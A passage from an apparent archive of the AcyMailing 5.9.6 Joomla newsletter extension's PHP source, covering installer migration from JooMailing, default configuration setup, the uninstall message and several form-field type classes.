		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_stats` (`mailid`, `senthtml`, `senttext`, `senddate`, `openunique`, `opentotal`, `bounceunique`, `fail`, `clicktotal`, `clickunique`, `unsub`, `forward`) SELECT `mailid`, `senthtml`, `senttext`, `senddate`, `openunique`, `opentotal`, `bounceunique`, `fail`, `clicktotal`, `clickunique`, `unsub`, `forward` FROM `#__joomailing_stats`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_subscriber` (`subid`, `email`, `userid`, `name`, `created`, `confirmed`, `enabled`, `accept`, `ip`, `html`, `key`) SELECT `subid`, `email`, `userid`, `name`, `created`, `confirmed`, `enabled`, `accept`, `ip`, `html`, `key` FROM `#__joomailing_subscriber`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_template` (`tempid`, `name`, `description`, `body`, `altbody`, `created`, `published`, `premium`, `ordering`, `namekey`, `styles`) SELECT `tempid`, `name`, REPLACE(`description`,'joomailing','acymailing'), REPLACE(`body`,'joomailing','acymailing'), REPLACE(`altbody`,'joomailing','acymailing'), `created`, `published`, `premium`, `ordering`, `namekey`, REPLACE(`styles`,'joomailing','acymailing') FROM `#__joomailing_template`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_url` (`urlid`, `name`, `url`) SELECT `urlid`, REPLACE(`name`,'com_joomailing','com_acymailing'), REPLACE(`url`,'com_joomailing','com_acymailing') FROM `#__joomailing_url`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_urlclick` (`urlid`, `mailid`, `click`, `subid`, `date`) SELECT `urlid`, `mailid`, `click`, `subid`, `date` FROM `#__joomailing_urlclick`");
		$this->db->query();
		$this->db->setQuery("INSERT IGNORE INTO `#__acymailing_userstats` (`mailid`, `subid`, `html`, `sent`, `senddate`, `open`, `opendate`, `bounce`, `fail`) SELECT `mailid`, `subid`, `html`, `sent`, `senddate`, `open`, `opendate`, `bounce`, `fail` FROM `#__joomailing_userstats`");
		$this->db->query();

		$this->db->setQuery("DROP TABLE IF EXISTS `#__joomailing_config`, `#__joomailing_list`, `#__joomailing_listcampaign`, `#__joomailing_listmail`, `#__joomailing_listsub`, `#__joomailing_mail`, `#__joomailing_queue` , `#__joomailing_stats`, `#__joomailing_subscriber`, `#__joomailing_template` , `#__joomailing_url`, `#__joomailing_urlclick`, `#__joomailing_userstats`");
		$this->db->query();

		$this->db->setQuery("UPDATE `#__modules` SET `title` = REPLACE(`title`,'JooMailing','AcyMailing'), `module` = REPLACE(`module`,'joomailing','acymailing'), `params` = REPLACE(`params`,'joomailing','acymailing')");
		$this->db->query();
		$this->db->setQuery("UPDATE `#__plugins` SET `name` = REPLACE(REPLACE(REPLACE(`name`,'jooMailing','AcyMailing'),'joomailing','acymailing'),'JooMailing','AcyMailing'), `element` = REPLACE(`element`,'joomailing','acymailing'), `folder` = REPLACE(`folder`,'joomailing','acymailing'), `params` = REPLACE(`params`,'joomailing','acymailing')");
		$this->db->query();

		$this->db->setQuery("DELETE FROM `#__components` WHERE `option` LIKE '%joomailing%' OR `admin_menu_link` LIKE '%joomailing%'");
		$this->db->query();

		$this->db->setQuery("UPDATE `#__menu` SET `menutype` = REPLACE(`menutype`,'joomailing','acymailing'), `name` = REPLACE(`name`,'joomailing','acymailing'), `alias` = REPLACE(`alias`,'joomailing','acymailing'), `link` = REPLACE(`link`,'joomailing','acymailing')");
		$this->db->query();


		$newFile = '<?php
					$url = \'index.php?option=com_acymailing\';
					foreach($_GET as $name => $value){
						if($name == \'option\') continue;
						$url .= \'&\'.$name.\'=\'.$value;
					}
					acymailing_redirect($url);
					';

		@file_put_contents(rtrim(JPATH_SITE, DS).DS.'components'.DS.'com_joomailing'.DS.'joomailing.php', $newFile);
		@file_put_contents(rtrim(JPATH_ADMINISTRATOR, DS).DS.'components'.DS.'com_joomailing'.DS.'admin.joomailing.php', $newFile);
	}

	function addPref(){
		$conf = JFactory::getConfig();

		$this->level = ucfirst($this->level);

		$allPref = array();

		$allPref['level'] = $this->level;
		$allPref['version'] = $this->version;
		$allPref['smtp_port'] = '';

		if(ACYMAILING_J30){
			$allPref['from_name'] = $conf->get('fromname');
			$allPref['from_email'] = $conf->get('mailfrom');
			$allPref['bounce_email'] = $conf->get('mailfrom');
			$allPref['mailer_method'] = $conf->get('mailer');
			$allPref['sendmail_path'] = $conf->get('sendmail');
			$smtpinfos = explode(':', $conf->get('smtphost'));
			$allPref['smtp_port'] = $conf->get('smtpport');
			$allPref['smtp_secured'] = $conf->get('smtpsecure');
			$allPref['smtp_auth'] = $conf->get('smtpauth');
			$allPref['smtp_username'] = $conf->get('smtpuser');
			$allPref['smtp_password'] = $conf->get('smtppass');
		}else{
			$allPref['from_name'] = $conf->getValue('config.fromname');
			$allPref['from_email'] = $conf->getValue('config.mailfrom');
			$allPref['bounce_email'] = $conf->getValue('config.mailfrom');
			$allPref['mailer_method'] = $conf->getValue('config.mailer');
			$allPref['sendmail_path'] = $conf->getValue('config.sendmail');
			$smtpinfos = explode(':', $conf->getValue('config.smtphost'));
			$allPref['smtp_secured'] = $conf->getValue('config.smtpsecure');
			$allPref['smtp_auth'] = $conf->getValue('config.smtpauth');
			$allPref['smtp_username'] = $conf->getValue('config.smtpuser');
			$allPref['smtp_password'] = $conf->getValue('config.smtppass');
		}

		$allPref['reply_name'] = $allPref['from_name'];
		$allPref['reply_email'] = $allPref['from_email'];
		$allPref['cron_sendto'] = $allPref['from_email'];

		$allPref['add_names'] = '1';
		$allPref['encoding_format'] = '8bit';
		$allPref['charset'] = 'UTF-8';
		$allPref['word_wrapping'] = '150';
		$allPref['hostname'] = '';
		$allPref['embed_images'] = '0';
		$allPref['embed_files'] = '1';
		$allPref['editor'] = 'acyeditor';
		$allPref['multiple_part'] = '1';
		$allPref['smtp_host'] = $smtpinfos[0];
		if(isset($smtpinfos[1])) $allPref['smtp_port'] = $smtpinfos[1];
		if(!in_array($allPref['smtp_secured'], array('tls', 'ssl'))) $allPref['smtp_secured'] = '';

		$allPref['queue_nbmail'] = '40';
		$allPref['queue_nbmail_auto'] = '70';
		$allPref['queue_type'] = 'auto';
		$allPref['queue_try'] = '3';
		$allPref['queue_pause'] = '120';
		$allPref['allow_visitor'] = '1';
		$allPref['require_confirmation'] = '0';
		$allPref['priority_newsletter'] = '3';
		$allPref['allowedfiles'] = 'zip,doc,docx,pdf,xls,txt,gzip,rar,jpg,jpeg,gif,xlsx,pps,csv,bmp,ico,odg,odp,ods,odt,png,ppt,swf,xcf,mp3,wma';
		$allPref['uploadfolder'] = 'media/com_acymailing/upload';
		$allPref['confirm_redirect'] = '';
		$allPref['subscription_message'] = '1';
		$allPref['notification_unsuball'] = '';
		$allPref['cron_next'] = '1251990901';
		$allPref['confirmation_message'] = '1';
		$allPref['welcome_message'] = '1';
		$allPref['unsub_message'] = '1';
		$allPref['cron_last'] = '0';
		$allPref['cron_fromip'] = '';
		$allPref['cron_report'] = '';
		$allPref['cron_frequency'] = '900';
		$allPref['cron_sendreport'] = '2';

		$allPref['cron_fullreport'] = '1';
		$allPref['cron_savereport'] = '2';
		$allPref['cron_savepath'] = 'media/com_acymailing/logs/report'.rand(0, 999999999).'.log';
		$allPref['notification_created'] = '';
		$allPref['notification_accept'] = '';
		$allPref['notification_refuse'] = '';
		$allPref['forward'] = '0';

		$descriptions = array('Joomla!® Newsletter Extension', 'Joomla!® Mailing Extension', 'Joomla!® Newsletter System', 'Joomla!® E-mail Marketing', 'Joomla!® Marketing Campaign');
		$allPref['description_starter'] = $descriptions[rand(0, 4)];
		$allPref['description_essential'] = $descriptions[rand(0, 4)];
		$allPref['description_business'] = $descriptions[rand(0, 4)];
		$allPref['description_enterprise'] = $descriptions[rand(0, 4)];
		$allPref['description_sidekick'] = $descriptions[rand(0, 4)];

		$allPref['priority_followup'] = '2';
		$allPref['unsub_redirect'] = '';
		$allPref['use_sef'] = '0';
		$allPref['itemid'] = '0';
		$allPref['css_module'] = 'default';
		$allPref['css_frontend'] = 'default';
		$allPref['css_backend'] = '';
		$allPref['bootstrap_frontend'] = 0;

		$allPref['unsub_reasons'] = serialize(array('UNSUB_SURVEY_FREQUENT', 'UNSUB_SURVEY_RELEVANT'));

		$allPref['security_key'] = acymailing_generateKey(30);


		$allPref['installcomplete'] = '0';

		$allPref['Starter'] = '0';
		$allPref['Essential'] = '1';
		$allPref['Business'] = '2';
		$allPref['Enterprise'] = '3';
		$allPref['Sidekick'] = '4';

		$query = "INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ";
		foreach($allPref as $namekey => $value){
			$query .= '('.$this->db->Quote($namekey).','.$this->db->Quote($value).'),';
		}
		$query = rtrim($query, ',');

		$this->db->setQuery($query);
		try{
			$res = $this->db->query();
		}catch(Exception $e){
			$res = null;
		}
		if($res === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags($this->db->getErrorMsg()), 0, 200).'...', 'error');
			return false;
		}
		return true;
	}
}

class acymailingUninstall{
	var $db;

	function __construct(){
		$this->db = JFactory::getDBO();
	}

	function message(){
		?>
		You uninstalled the AcyMailing component.<br/>
		AcyMailing also unpublished the modules attached to the component.<br/><br/>
		If you want to completely uninstall AcyMailing, please select all the AcyMailing modules and plugins and uninstall them from the Joomla Extensions Manager.<br/>
		Then execute this query via phpMyAdmin to remove all AcyMailing data:<br/><br/>
		DROP TABLE <?php
		$this->db->setQuery("SHOW TABLES LIKE '".$this->db->getPrefix()."acymailing%' ");
		if(version_compare(JVERSION, '3.0.0', '>=')){
			echo implode(' , ', $this->db->loadColumn());
		}else{
			echo implode(' , ', $this->db->loadResultArray());
		}

		?>;<br/><br/>
		If you DO NOT execute the query, you will be able to install AcyMailing again without losing data.<br/>
		Please note that you don't have to uninstall AcyMailing to install a new version, simply install the new one without uninstalling your current version.
		<?php
	}

	function unpublishModules(){
		$this->db->setQuery("UPDATE `#__modules` SET `published` = 0 WHERE `module` LIKE '%acymailing%'");
		$this->db->query();
	}
}
com_acymailing/logs/index.html000060400000000054152455305300012455 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/logs/.htaccess000060400000000036152455305300012256 0ustar00Order deny,allow
Deny from allcom_acymailing/types/creatorfilter.php000060400000002742152455305300014244 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class creatorfilterType extends acymailingClass{
	var $type = '';
	function load($table){
		$query = 'SELECT COUNT(*) as total,userid FROM '.acymailing_table($table).' WHERE `userid` > 0';
		if(!empty($this->type)) $query .= ' AND `type` = '.acymailing_escapeDB($this->type);
		$query .= ' GROUP BY userid';
		$allusers = acymailing_loadObjectList($query, 'userid');

		$allnames = array();
		if(!empty($allusers)){
			$allnames = acymailing_loadObjectList('SELECT '.$this->cmsUserVars->name.' AS name, '.$this->cmsUserVars->id.' AS id FROM '.acymailing_table($this->cmsUserVars->table, false).' WHERE '.$this->cmsUserVars->id.' IN ('.implode(',',array_keys($allusers)).') ORDER BY '.$this->cmsUserVars->name.' ASC', 'id');
		}

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_CREATORS'));
		foreach($allnames as $userid => $oneCreator){
			$this->values[] = acymailing_selectOption($userid, $oneCreator->name.' ( '.$allusers[$userid]->total.' )' );
		}
	}

	function display($map,$value,$table){
		$this->load($table);
		return acymailing_select(  $this->values, $map, 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/types/statusquick.php000060400000002137152455305300013755 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class statusquickType extends acymailingClass{
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('JOOMEXT_RESET'));
		$this->values[] = acymailing_selectOption('1', acymailing_translation('SUBSCRIBE_ALL'));

		$js = "function updateStatus(statusval){".
			'var i=0;'.
			"while(window.document.getElementById('status'+i+statusval)){";
		if(ACYMAILING_J30){
			$js .= 'jQuery("label[for=status"+i+statusval+"]").click();';
		}
		$js .= "window.document.getElementById('status'+i+statusval).checked = true;";
		$js .= 'i++;}'.
		'}';
		acymailing_addScript(true, $js);
	}

	function display($map){
		return acymailing_radio($this->values, $map , 'class="radiobox" size="1" onclick="updateStatus(this.value)"', 'value', 'text', '','status_all');
	}
}
com_acymailing/types/index.html000060400000000054152455305300012655 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/types/editor.php000060400000002251152455305300012660 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class editorType extends acymailingClass{

	function __construct(){
		parent::__construct();
		if(!ACYMAILING_J16){
			$query = 'SELECT DISTINCT element,name FROM '.acymailing_table('plugins',false).' WHERE folder=\'editors\' AND published=1 ORDER BY ordering ASC, name ASC';
 		}else{
			$query = 'SELECT element,name FROM '.acymailing_table('extensions',false).' WHERE folder=\'editors\' AND enabled=1 AND type=\'plugin\' ORDER BY ordering ASC, name ASC';
		}

		$joomEditors = acymailing_loadObjectList($query);

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ACY_DEFAULT'));
		if(!empty($joomEditors)){
			foreach($joomEditors as $myEditor){
				$this->values[] = acymailing_selectOption($myEditor->element, $myEditor->name);
			}
		}
	}

	function display($map,$value){
		return acymailing_select($this->values, $map , 'size="1"', 'value', 'text', $value);
	}

}
com_acymailing/types/statusfilterlist.php000060400000002113152455305300015014 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class statusfilterlistType extends acymailingClass{
	var $extra = '';
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption('1', acymailing_translation('SUBSCRIBERS'));
		$this->values[] = acymailing_selectOption('2', acymailing_translation('PENDING_SUBSCRIPTION'));
		$this->values[] = acymailing_selectOption('-1', acymailing_translation('UNSUBSCRIBERS'));
		$this->values[] = acymailing_selectOption('-2', acymailing_translation('NO_SUBSCRIPTION'));
	}

	function display($map,$value,$submit = true){
		$onChange = $submit ? 'onchange="document.adminForm.limitstart.value=0;document.adminForm.submit( );"' : '';
		return acymailing_select(  $this->values, $map, 'class="inputbox" size="1" '.$onChange.' '.$this->extra, 'value', 'text', (int) $value );
	}
}
com_acymailing/types/authorname.php000060400000001410152455305300013531 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class authornameType extends acymailingClass{
	var $onclick = "updateTag();";
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption("|author", acymailing_translation('JOOMEXT_YES'));
		$this->values[] = acymailing_selectOption("", acymailing_translation('JOOMEXT_NO'));

	}

	function display($map,$value){
		return acymailing_radio($this->values, $map , 'size="1" onclick="'.$this->onclick.'"', 'value', 'text', (string) $value);
	}

}
com_acymailing/types/delay.php000060400000010117152455305300012470 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class delayType extends acymailingClass{
	var $values = array();
	var $num = 0;
	var $onChange = '';

	function __construct(){
		parent::__construct();

		static $i = 0;
		$i++;
		$this->num = $i;

		$js = "function updateDelay".$this->num."(){";
			$js .= "delayvar = window.document.getElementById('delayvar".$this->num."');";
			$js .= "delaytype = window.document.getElementById('delaytype".$this->num."').value;";
			$js .= "delayvalue = window.document.getElementById('delayvalue".$this->num."');";
			$js .= "realValue = delayvalue.value;";
			$js .= "if(delaytype == 'minute'){realValue = realValue*60; }";
			$js .= "if(delaytype == 'hour'){realValue = realValue*3600; }";
			$js .= "if(delaytype == 'day'){realValue = realValue*86400; }";
			$js .= "if(delaytype == 'week'){realValue = realValue*604800; }";
			$js .= "if(delaytype == 'month'){realValue = realValue*2592000; }";
			$js .= "delayvar.value = realValue;";
		$js .= '}';
		acymailing_addScript(true, $js);

	}

	function display($map,$value,$type = 1){
		if($type == 0){
			$this->values[] = acymailing_selectOption('second', acymailing_translation('ACY_SECONDS'));
			$this->values[] = acymailing_selectOption('minute', acymailing_translation('ACY_MINUTES'));
		}elseif($type == 1){
			$this->values[] = acymailing_selectOption('minute', acymailing_translation('ACY_MINUTES'));
			$this->values[] = acymailing_selectOption('hour', acymailing_translation('HOURS'));
			$this->values[] = acymailing_selectOption('day', acymailing_translation('DAYS'));
			$this->values[] = acymailing_selectOption('week', acymailing_translation('WEEKS'));
		}elseif($type == 2){
			$this->values[] = acymailing_selectOption('minute', acymailing_translation('ACY_MINUTES'));
			$this->values[] = acymailing_selectOption('hour', acymailing_translation('HOURS'));
		}elseif($type == 3){
			$this->values[] = acymailing_selectOption('hour', acymailing_translation('HOURS'));
			$this->values[] = acymailing_selectOption('day', acymailing_translation('DAYS'));
			$this->values[] = acymailing_selectOption('week', acymailing_translation('WEEKS'));
			$this->values[] = acymailing_selectOption('month', acymailing_translation('MONTHS'));
		}elseif($type == 4){
			$this->values[] = acymailing_selectOption('week', acymailing_translation('WEEKS'));
			$this->values[] = acymailing_selectOption('month', acymailing_translation('MONTHS'));
		}

		$return = $this->get($value,$type);
		$delayValue = '<input class="inputbox" onchange="updateDelay'.$this->num.'();'.$this->onChange.'" type="text" id="delayvalue'.$this->num.'" style="width:50px" value="'.$return->value.'" /> ';
		$delayVar = '<input type="hidden" name="'.$map.'" id="delayvar'.$this->num.'" value="'.$value.'"/>';
		return $delayValue.acymailing_select(  $this->values, 'delaytype'.$this->num, 'class="inputbox" size="1" style="width:100px" onchange="updateDelay'.$this->num.'();'.$this->onChange.'"', 'value', 'text', $return->type ,'delaytype'.$this->num).$delayVar;
	}

	function get($value,$type){

		$return = new stdClass();

		$return->value = $value;
		if($type == 0){
			$return->type = 'second';
		}else{
			$return->type = 'minute';
		}

		if($return->value >= 60  AND $return->value%60 == 0){
			$return->value = (int) $return->value / 60;
			$return->type = 'minute';
			if($type != 0 AND $return->value >=60 AND $return->value%60 == 0){
				$return->type = 'hour';
				$return->value = $return->value / 60;
				if($type != 2 AND $return->value >=24 AND $return->value%24 == 0){
					$return->type = 'day';
					$return->value = $return->value / 24;
					if($type >= 3 AND $return->value >=30 AND $return->value%30 == 0){
						$return->type = 'month';
						$return->value = $return->value / 30;
					}elseif($return->value >=7 AND $return->value%7 == 0){
						$return->type = 'week';
						$return->value = $return->value / 7;
					}
				}
			}
		}

		return $return;

	}

}
com_acymailing/types/operators.php000060400000004356152455305300013420 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class operatorsType extends acymailingClass{
	var $extra = '';
	function __construct(){
		parent::__construct();

		$this->values = array();

		$this->values[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('ACY_NUMERIC'));
		$this->values[] = acymailing_selectOption('=', '=');
		$this->values[] = acymailing_selectOption('!=', '!=');
		$this->values[] = acymailing_selectOption('>', '>');
		$this->values[] = acymailing_selectOption('<', '<');
		$this->values[] = acymailing_selectOption('>=', '>=');
		$this->values[] = acymailing_selectOption('<=', '<=');
		$this->values[] = acymailing_selectOption('</OPTGROUP>');
		$this->values[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('ACY_STRING'));
		$this->values[] = acymailing_selectOption('BEGINS', acymailing_translation('ACY_BEGINS_WITH'));
		$this->values[] = acymailing_selectOption('END', acymailing_translation('ACY_ENDS_WITH'));
		$this->values[] = acymailing_selectOption('CONTAINS', acymailing_translation('ACY_CONTAINS'));
		$this->values[] = acymailing_selectOption('NOTCONTAINS', acymailing_translation('ACY_NOT_CONTAINS'));
		$this->values[] = acymailing_selectOption('LIKE', 'LIKE');
		$this->values[] = acymailing_selectOption('NOT LIKE', 'NOT LIKE');
		$this->values[] = acymailing_selectOption('REGEXP', 'REGEXP');
		$this->values[] = acymailing_selectOption('NOT REGEXP', 'NOT REGEXP');
		$this->values[] = acymailing_selectOption('</OPTGROUP>');
		$this->values[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('OTHER'));
		$this->values[] = acymailing_selectOption('IS NULL', 'IS NULL');
		$this->values[] = acymailing_selectOption('IS NOT NULL', 'IS NOT NULL');
		$this->values[] = acymailing_selectOption('</OPTGROUP>');

	}

	function display($map, $valueSelected = '', $otherClass = ''){
		return acymailing_select($this->values, $map, 'class="inputbox'. (!empty($otherClass)?' '.$otherClass:'') .'" size="1" style="width:120px;" '.$this->extra, 'value', 'text', $valueSelected);
	}

}
com_acymailing/types/statusfilter.php000060400000003303152455305300014122 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class statusfilterType extends acymailingClass{
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_STATUS'));
		$this->values[] = acymailing_selectOption( '<OPTGROUP>', acymailing_translation( 'ACCEPT_REFUSE' ));
		$this->values[] = acymailing_selectOption('1', acymailing_translation('ACCEPT_EMAIL'));
		$this->values[] = acymailing_selectOption('-1', acymailing_translation('REFUSE_EMAIL'));
		$this->values[] = acymailing_selectOption( '</OPTGROUP>');
		$config = acymailing_config();
		if($config->get('require_confirmation',0)){
			$this->values[] = acymailing_selectOption( '<OPTGROUP>', acymailing_translation( 'SUBSCRIPTION' ));
			$this->values[] = acymailing_selectOption('2', acymailing_translation('PENDING_SUBSCRIPTION'));
			$this->values[] = acymailing_selectOption( '</OPTGROUP>');
		}
		$this->values[] = acymailing_selectOption( '<OPTGROUP>', acymailing_translation( 'ENABLED_DISABLED' ));
		$this->values[] = acymailing_selectOption('3', acymailing_translation('ENABLED'));
		$this->values[] = acymailing_selectOption('-3', acymailing_translation('DISABLED'));
		$this->values[] = acymailing_selectOption( '</OPTGROUP>');
	}

	function display($map,$value){
		return acymailing_select(  $this->values, $map, 'size="1" onchange="document.adminForm.limitstart.value=0;document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/types/detailstatsmail.php000060400000002157152455305300014563 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class detailstatsmailType extends acymailingClass{
	function __construct(){
		parent::__construct();

		$query = 'SELECT b.subject, a.mailid FROM '.acymailing_table('stats').' as a';
		$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid ORDER BY a.senddate DESC LIMIT 200';
		$emails = acymailing_loadObjectList($query);

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_EMAILS'));
		foreach($emails as $oneMail){
			if(!empty($oneMail->subject)) $oneMail->subject = acyEmoji::Decode($oneMail->subject);
			$this->values[] = acymailing_selectOption($oneMail->mailid, $oneMail->subject );
		}
	}

	function display($map,$value){
		return acymailing_select(  $this->values, $map, 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/types/bounceaction.php000060400000004056152455305300014050 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class bounceactionType extends acymailingClass{
	function __construct(){
		parent::__construct();

		$this->values = array();
		$this->values[] = acymailing_selectOption('noaction', acymailing_translation('DO_NOTHING'));
		$this->values[] = acymailing_selectOption('remove', acymailing_translation('REMOVE_SUB'));
		$this->values[] = acymailing_selectOption('unsub', acymailing_translation('UNSUB_USER'));
		$this->values[] = acymailing_selectOption('sub', acymailing_translation('SUBSCRIBE_USER'));
		$this->values[] = acymailing_selectOption('block', acymailing_translation('BLOCK_USER'));
		$this->values[] = acymailing_selectOption('delete', acymailing_translation('DELETE_USER'));

		$this->config = acymailing_config();
		$this->lists = acymailing_get('type.lists');
		$this->lists->getValues();
		array_shift($this->lists->values);

		$js = "function updateSubAction(num){";
			$js .= "myAction = window.document.getElementById('bounce_action_'+num).value;";
			$js .= "if(myAction == 'sub') {window.document.getElementById('bounce_action_lists_'+num).style.display = '';}else{window.document.getElementById('bounce_action_lists_'+num).style.display = 'none';}";
		$js .= '}';
		acymailing_addScript(true, $js);
	}

	function display($num,$value){
		$js ='document.addEventListener("DOMContentLoaded", function(){ updateSubAction("'.$num.'"); });';
		acymailing_addScript(true, $js);

		$return = acymailing_select(  $this->values, 'config[bounce_action_'.$num.']', 'class="inputbox" size="1" onchange="updateSubAction(\''.$num.'\');"', 'value', 'text', $value ,'bounce_action_'.$num);
		$return .= '<span id="bounce_action_lists_'.$num.'" style="display:none">'.$this->lists->display('config[bounce_action_lists_'.$num.']',$this->config->get('bounce_action_lists_'.$num),false).'</span>';

		return $return;
	}

}
com_acymailing/types/charset.php000060400000003561152455305300013030 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class charsetType extends acymailingClass{
	var $addinfo = '';
	function __construct(){
		parent::__construct();
		$charsets = array(
					'BIG5'=>'BIG5',//Iconv,mbstring
					'ISO-8859-1'=>'ISO-8859-1',//Iconv,mbstring
					'ISO-8859-2'=>'ISO-8859-2',//Iconv,mbstring
					'ISO-8859-3'=>'ISO-8859-3',//Iconv,mbstring
					'ISO-8859-4'=>'ISO-8859-4',//Iconv,mbstring
					'ISO-8859-5'=>'ISO-8859-5',//Iconv,mbstring
					'ISO-8859-6'=>'ISO-8859-6',//Iconv,mbstring
					'ISO-8859-7'=>'ISO-8859-7',//Iconv,mbstring
					'ISO-8859-8'=>'ISO-8859-8',//Iconv,mbstring
					'ISO-8859-9'=>'ISO-8859-9',//Iconv,mbstring
					'ISO-8859-10'=>'ISO-8859-10',//Iconv,mbstring
					'ISO-8859-13'=>'ISO-8859-13',//Iconv,mbstring
					'ISO-8859-14'=>'ISO-8859-14',//Iconv,mbstring
					'ISO-8859-15'=>'ISO-8859-15',//Iconv,mbstring
					'ISO-2022-JP'=>'ISO-2022-JP',//mbstring for sure... not sure about Iconv
					'US-ASCII'=>'US-ASCII', //Iconv,mbstring
					'UTF-7'=>'UTF-7',//Iconv,mbstring
					'UTF-8'=>'UTF-8',//Iconv,mbstring
					'UTF-16'=>'UTF-16',//Iconv,mbstring
					'Windows-1251'=>'Windows-1251', //Iconv,mbstring
					'Windows-1252'=>'Windows-1252' //Iconv,mbstring
				);

		if(function_exists('iconv')){
			$charsets['ARMSCII-8'] = 'ARMSCII-8';
			$charsets['ISO-8859-16'] = 'ISO-8859-16';
		}

		$this->charsets = $charsets;

		$this->values = array();
		foreach($charsets as $code => $charset){
			$this->values[] = acymailing_selectOption($code, $charset);
		}

	}

	function display($map,$value){
		return acymailing_select($this->values, $map , 'size="1" style="width:150px;" '.$this->addinfo, 'value', 'text', $value);
	}

}
com_acymailing/types/color.php000060400000014004152455305300012507 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class colorType extends acymailingClass{
	function __construct(){
		parent::__construct();

		$this->values = array();

		for($red=0; $red<6;$red++) {
			$rhex = dechex($red * 0x33);
			$rhex = (strlen($rhex) < 2)?"0".$rhex:$rhex;
			for($blue=0; $blue<6;$blue++) {
				$bhex = dechex($blue * 0x33);
				$bhex = (strlen($bhex) < 2)?"0".$bhex:$bhex;
				for($green=0; $green<6;$green++) {
